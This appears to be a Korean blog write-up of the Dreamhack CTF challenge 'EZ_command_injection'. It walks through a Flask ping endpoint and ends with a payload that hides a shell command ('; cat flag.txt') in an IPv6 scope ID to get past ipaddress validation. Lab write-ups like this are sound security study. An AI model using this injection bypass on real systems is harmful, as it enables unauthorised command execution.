본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] EZ_command_injection write up

 

let's go

 

 

#!/usr/bin/env python3
import subprocess
import ipaddress
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/ping', methods=['GET'])
def ping():
    host = request.args.get('host', '')
    try:
        addr = ipaddress.ip_address(host)
    except ValueError:
        error_msg = 'Invalid IP address'
        print(error_msg)
        return render_template('index.html', result=error_msg)

    cmd = f'ping -c 3 {addr}'
    try:
        output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8)
        return render_template('index.html', result=output.decode('utf-8'))
    except subprocess.TimeoutExpired:
        error_msg = 'Timeout!!!!'
        print(error_msg)
        return render_template('index.html', result=error_msg)
    except subprocess.CalledProcessError:
        error_msg = 'An error occurred while executing the command'
        print(error_msg)
        return render_template('index.html', result=error_msg)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

 

/ping 경로에서 command injection이 가능할 것 같아 host파라미터에 8.8.8.8을 넘겨 보았다.

 

 

근데 에러가...;;

 

 

로컬에서 해보니 문제 없는데 에러가 난 걸로 봐서

 

 

소스 코드 상에서 ip_address() 함수를 거치는 과정에서 내가 넘긴 ip에 이상이 생긴 것 같다. 파이썬 환경을 구축 후 테스트 해보자.

 

 

1. 먼저 ip_address() 함수를 안 쓴 채

 

import subprocess
import ipaddress

addr = '8.8.8.8'

cmd = f'ping -c 3 {addr}'

output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8)

print(output)

 

 

good

 

import subprocess
import ipaddress

addr = '8.8.8.8'
addr = ipaddress.ip_address(addr)

cmd = f'ping -c 3 {addr}'
try:
    output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8)
except Exception as e:
    print(e)


print(output)

 

오잉.. 잘 되네

 

코드의 에러 메시지를 보면

 

 

CalledProcessError이다. 해당 에러가 무슨 에러인지 구글링을 해보자.

 

구글링 결과 문제 풀이와 상관 없는 것 같지만 컨테이너로 에러 메시지를 확인해보기로 했다.

 

 

반환값이 달라서 에러가 난거 같다. 

 

 

쩝.. 걍 컨테이너에 ping 명령어가 없어서 그랬다.. 설치하니 제대로 입력이 된다. 이제 문제 의도대로 command injection을 해보자.

 

 

8.8.8.8; ls를 입력하니 위와 같은 문자열이 리턴된다. 아무래도 ip_address()함수 덕에 내가 보낸 문자열이 모두 ip주소로 인식되어야 하는데 ip형식이 아니라 문제가 발생한 것 같다. 우회할 방법을 생각해보자.. 우선 ipv6쪽으로 구글링을 해보자.

 

 

 

ipv6에는 스코프 ID를 줄 수 있다. %뒤에 문자열이 오며 이는 스코프 ID로 인식 된다..

 

 

 

GG..

 

fe80::1%eth0;%20cat%20flag.txt

 

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Just read flag  (0) 2024.05.28
[Dreamhack] Dream Gallery write up  (0) 2024.04.26
[Dreamhack] filestorage write up  (0) 2024.04.26
[Dreamhack] crawling write up  (0) 2024.04.26
[Dreamhack] file-csp-1 write up  (0) 2024.04.23